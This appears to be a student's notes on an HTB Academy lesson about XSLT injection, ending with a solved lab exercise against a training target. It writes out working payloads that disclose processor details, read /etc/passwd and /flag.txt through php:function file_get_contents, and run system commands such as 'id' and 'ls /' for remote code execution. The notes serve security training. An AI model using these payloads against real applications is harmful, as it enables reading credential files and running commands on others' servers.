Exploiting XSLT Injection

After discussing some basics and use cases for XSLT, let us dive into exploiting XSLT injection vulnerabilities.

Identifying XSLT Injection

Our sample web application displays basic information about some Academy modules:

List of favorite Academy modules with titles, authors, and tiers.

At the bottom of the page, we can provide a username that is inserted into the headline at the top of the list:

List of favorite Academy modules with titles, authors, and tiers, and a form to customize the list.

As we can see, the name we provide is reflected on the page. Suppose the web application stores the module information in an XML document and displays the data using XSLT processing. In that case, it might be vulnerable to XSLT injection if our name is inserted without sanitization before XSLT processing. To confirm this, let us try injecting a broken XML tag to provoke an error in the web application. We can achieve this by providing the username <:

HTTP GET request to /index.php with name parameter; response shows 500 Internal Server Error.

As we can see, the web application responds with a server error. While this does not definitively confirm the presence of an XSLT injection vulnerability, it may indicate the existence of a security issue.

Information Disclosure

We can try to infer some basic information about the XSLT processor in use by injecting the following XSLT elements:

Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />

The web application provides the following response:

List of favorite Academy modules with titles, authors, and tiers, including version and vendor details.

Since the web application interpreted the XSLT elements we provided, this confirms an XSLT injection vulnerability. Furthermore, we can deduce that the web application seems to rely on the libxslt library and supports XSLT version 1.0.

Local File Inclusion (LFI)

We can try using multiple different functions to read a local file. Whether a payload will work depends on the XSLT version and the configuration of the XSLT library. For instance, XSLT contains a function unparsed-text that can be used to read a local file:

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

However, it was only introduced in XSLT version 2.0. Thus, our sample web application does not support this function and instead returns an error. However, if the XSLT library is configured to support PHP functions, we can call the PHP function file_get_contents using the following XSLT element:

<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

Our sample web application is configured to support PHP functions. As such, the local file is displayed in the response:

Page displaying /etc/passwd content and a list of favorite Academy modules with titles, authors, and tiers.|697x468

Remote Code Execution (RCE)

If an XSLT processor supports PHP functions, we can call a PHP function that executes a local system command to obtain RCE. For instance, we can call the PHP function system to execute a command:

<xsl:value-of select="php:function('system','id')" />

List of 10 favorite Academy modules with tiers and authors, including topics like Learning Process, Intro to Academy, Network Enumeration, Python, Hacking WordPress, Cracking Passwords, Kerberos Attacks, Active Directory, Secure Coding, and PowerView.


Exercise

TARGET: 154.57.164.80:31246

Challenge 1

Exploit the XSLT Injection vulnerability to obtain RCE and read the flag.

That last section (#Remote Code Execution (RCE)) basically told us how to do this. I will build an XSL element that executes the PHP function on system to run the ls / command to check if there is a flag file in the root directory:

<xsl:value-of select="php:function('system','ls /')" />

image-9.png
Now that we have confirmed the location of the flag (/flag.txt), we can include the file and display it using another XSL element that calls the file_get_contents PHP functions to read the /flag.txt file:

<xsl:value-of select="php:function('file_get_contents','/flag.txt')" />

image-10.png

flag: HTB